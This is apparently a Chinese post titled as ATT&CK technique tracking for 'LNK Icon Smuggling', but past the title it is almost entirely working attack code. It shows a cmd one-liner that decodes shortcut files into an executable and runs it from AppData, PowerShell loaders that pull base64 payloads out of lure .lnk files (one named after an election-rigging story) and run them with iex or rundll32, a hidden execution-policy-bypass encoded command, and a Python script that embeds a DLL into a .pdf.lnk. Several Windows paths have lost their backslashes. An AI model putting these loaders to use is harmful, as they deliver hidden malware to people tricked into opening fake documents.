ATT&CK框架更新跟踪-LNK Icon Smuggling技术

%COMSPEC% /c "@echo off&(for %i in (*.lnk) do certutil -decode %i vNLllKOr.exe)&move vNLllKOr.exe C:Users%username%AppDataRoamingMicrosoft&start C:Users%username%AppDataRoamingMicrosoftvNLllKOr.exe

$ifd.Seek(0x00001000,[IO.SeekOrigin]::Begin);$ifd.Read($x,0,0x00002000-0x00001000);

$os=0x0009fdda;$oe=0x000a1916;$f="37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk";if (-not(Test-Path $f)){$x = Get-ChildItem -Path $Env:temp -Filter $f -Recurse;[IO.Directory]::SetCurrentDirectory($x.DirectoryName);}$ifd = New-Object IO.FileStream $f,'Open','Read','ReadWrite';$x = New-Object byte[]($oe-$os);$ifd.Seek($os,[IO.SeekOrigin]::Begin);$ifd.Read($x,0,$oe-$os);$x=[Convert]::FromBase64CharArray($x,0,$x.Length);$s=[Text.Encoding]::ASCII.GetString($x);iex $s;

$os=0x00002000;$oe=0x00004D58;$f="document2.pdf.lnk";$ifd = New-Object IO.FileStream $f,'Open','Read','ReadWrite';$x = New-Object byte[]($oe-$os);$ifd.Seek($os,[IO.SeekOrigin]::Begin);$ifd.Read($x, 0, $oe-$os);$s=[Text.Encoding]::ASCII.GetString($x);$bytes = [System.Convert]::FromBase64String($s);$output_filepath = Join-Path $env:TEMP "calc.dll";[System.IO.File]::WriteAllBytes($output_filepath, $bytes);Start-Process -FilePath "C:windowssystem32rundll32.exe" -ArgumentList "$output_filepath,dllmain"

powershell.exe -noni -ep bypass -win hidden $s = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JG9zPTB4MDAwMDIwMDA7CiRvZT0weDAwMDA0RDU4OwokZj0iZG9jdW1lbnQyLnBkZi5sbmsiOwokaWZkID0gTmV3LU9iamVjdCBJTy5GaWxlU3RyZWFtICRmLCdPcGVuJywnUmVhZCcsJ1JlYWRXcml0ZSc7CiR4ID0gTmV3LU9iamVjdCBieXRlW10oJG9lLSRvcyk7CiRpZmQuU2Vlaygkb3MsW0lPLlNlZWtPcmlnaW5dOjpCZWdpbik7CiRpZmQuUmVhZCgkeCwgMCwgJG9lLSRvcyk7CiRzPVtUZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKCR4KTsKJGJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkcyk7CiRvdXRwdXRfZmlsZXBhdGggPSBKb2luLVBhdGggJGVudjpURU1QICJjYWxjLmRsbCI7CltTeXN0ZW0uSU8uRmlsZV06OldyaXRlQWxsQnl0ZXMoJG91dHB1dF9maWxlcGF0aCwgJGJ5dGVzKTsKU3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggIkM6XHdpbmRvd3Ncc3lzdGVtMzJccnVuZGxsMzIuZXhlIiAtQXJndW1lbnRMaXN0ICIkb3V0cHV0X2ZpbGVwYXRoLGRsbG1haW4i'));iex $s;

import base64import os# 指定插入位置的偏移量hex_offset = "0x00002000"offset = int(hex_offset, 16)# 开始读取并编码要嵌入的文件with open("C:\Users\xxx\Desktop\lnktest\calc.dll", "rb") as source_file:    encoded = base64.b64encode(source_file.read())# 在目标文件的指定偏移量处插入编码后的数据with open("C:\Users\xxx\Desktop\lnktest\document2.pdf.lnk", 'r+b') as target_file:      target_file.seek(offset) #定位到文件特定偏移量    target_file.write(encoded)  #写入新的base64编码数据